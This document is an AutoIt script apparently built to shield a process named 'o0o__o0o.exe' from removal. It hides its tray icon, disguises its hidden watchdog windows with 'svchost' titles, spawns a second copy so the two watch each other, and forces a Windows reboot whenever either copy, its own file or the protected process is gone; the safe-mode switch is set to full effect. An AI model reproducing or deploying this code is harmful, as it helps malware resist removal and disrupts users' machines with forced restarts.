|
#notrayicon
#include<Process.au3>
#include<string.au3>
Global Const $PROCESS_ALL_ACCESS = 0x1f0fff
Dim $fish_ProtectScripts=StringRight(@scriptfullpath,"3")
Dim $fish_AdminProtection_FileCheck=@ScriptFullPath
Dim $fish_CurrentDirectory=@Scriptdir
Dim $fish_Title2="2svchost - fish"
Dim $fish_Title="1svchost - fish"
Dim $fish_SAFE_MT="Safe Mode"
Dim $fish_MultiCase="3"
Dim $fish_Loop=True
Dim $fish_Console="1"
Dim $fish_FRestart="6"
Dim $fish_LoopDelay="25"
Dim $fish_ProtectProcess=""
Dim $fish_AdminProtection=$fish_Title2
Dim $fish_FRestartCommand="ForceRestart"
Dim $fish_SAFE_MODE_MSG="Windows Commit Restart .. but its safe mode lol , press ok exit program"
_FishSafeMode(0);1=run by safe mode [all effect only return u warning msg]/ 0=commit to fully works [all effect will return u force reboot(case sensitive)]
_FishMultiProcess($fish_Title,$fish_Title2)
$fish_WinTitle=GUICreate($fish_Title,1,1,1,1)
IF $fish_MultiCase="2" THEN Run($fish_AdminProtection_FileCheck,$fish_CurrentDirectory)
WinWait($fish_Title)
WinWait($fish_Title2)
WHILE $fish_Loop
_FishAdminProtection($fish_AdminProtection)
_FishProcessProtection("o0o__o0o.exe")
WEND
FUNC _FishForceRestart($fish_Console)
IF $fish_Console="1" THEN
MsgBox(16,$fish_SAFE_MT,$fish_SAFE_MODE_MSG)
exit
else
IF $fish_Console="ForceRestart" THEN Shutdown($fish_FRestart)
ENDIF
ENDFUNC
FUNC _FishMultiProcess($fish_MultiProcess,$fish_MultiProcess2)
IF WinExists($fish_MultiProcess) THEN
IF WinExists($fish_MultiProcess2) THEN
EXIT
ENDIF
ENDIF
IF Not WinExists($fish_MultiProcess) THEN
$fish_MultiCase="2"
$fish_AdminProtection=$fish_Title2
ENDIF
IF WinExists($fish_MultiProcess) THEN
$fish_MultiCase="3"
IF WinExists($fish_MultiProcess2) THEN
Exit
Else
$fish_MultiCase="3"
$fish_AdminProtection=$fish_Title
$fish_Title=$fish_Title2
ENDIF
ENDIF
ENDFUNC
FUNC _FishProtection($fish_Protect)
$fish_ProtectProcess=StringSplit($fish_Protect,"\")
IF Not FileExists($fish_Protect) THEN _FishForceRestart($fish_FRestartCommand)
IF Not ProcessExists($fish_ProtectProcess[$fish_ProtectProcess[0]]) THEN _FishForceRestart($fish_FRestartCommand)
sleep($fish_LoopDelay)
ENDFUNC
FUNC _FishProcessProtection($fish_ProcessProtect)
IF Not ProcessExists($fish_ProcessProtect) THEN _FishForceRestart($fish_FRestartCommand)
sleep($fish_LoopDelay)
ENDFUNC
FUNC _FishSafeMode($fish_Test)
IF $fish_ProtectScripts="au3" then
MsgBox(16,"Error Running Scripts","Please Run After Compile")
Exit
Else
if $fish_Test="1" then
$fish_FRestartCommand=$fish_Test
Else
ENDIF
ENDIF
ENDFUNC
FUNC _FishAdminProtection($fish_AdminProtection_Default)
IF not WinExists($fish_AdminProtection_Default) THEN _FishForceRestart($fish_FRestartCommand)
IF not FileExists($fish_AdminProtection_FileCheck) THEN _FishForceRestart($fish_FRestartCommand)
_FishReduceMemory()
sleep($fish_LoopDelay)
ENDFUNC
Func _FishReduceMemory()
Local $ai_GetCurrentProcessId = DllCall('kernel32.dll', 'int', 'GetCurrentProcessId')
Local $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $ai_GetCurrentProcessId[0])
Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', $ai_Handle[0])
DllCall('kernel32.dll', 'int', 'CloseHandle', 'int', $ai_Handle[0])
Return $ai_Return[0]
EndFunc |
|